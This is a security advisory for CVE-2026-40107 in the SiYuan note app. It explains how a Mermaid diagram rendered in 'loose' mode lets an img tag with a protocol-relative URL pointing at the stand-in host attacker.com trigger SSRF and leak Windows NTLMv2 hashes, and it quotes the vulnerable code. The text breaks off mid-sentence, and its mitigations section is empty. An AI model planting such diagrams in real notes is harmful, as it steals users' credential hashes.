SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering
Date: 2026-04
Affected: go/github.com/siyuan-note/siyuan/kernel
Attack vector: ssrf
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-40107
CWE: CWE-918

SiYuan configures Mermaid.js with `securityLevel: "loose"` and `htmlLabels: true`. In this mode, `<img>` tags with `src` attributes survive Mermaid's internal DOMPurify and land in SVG `<foreignObject>` blocks. The SVG is injected via `innerHTML` with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL. On Windows, a protocol-relative URL (`//attacker.com/image.png`) resolves as a UNC path (`\\attacker.com\image.png`). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker. ## Root Cause Mermaid initialization at `app/src/protyle/render/mermaidRender.ts` lines 28 and 33: mermaid.initialize({ securityLevel: "loose", flowchart: { htmlLabels: true, }, }); SVG injection at line 101: renderElement.lastElementChild.innerHTML = mermaidData.svg; No DOMPurify or other sanitization between the Mermaid output and DOM insertion. Mermaid v11.12.0 in "loose" mode strips active JavaScript (`<script>`, `onerror`, `onload`) but explicitly allows `<img>` tags with `src` attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration. The Electron main process at `app/electron/main.js` line 78 sets `disable-web-security`, and lines 319+ set `webSecurity: false`, `nodeIntegration: true`, `contextIsolation: false` on all BrowserWindows. The disabled web securit


Mitigations:

Architectural layers (MAESTRO):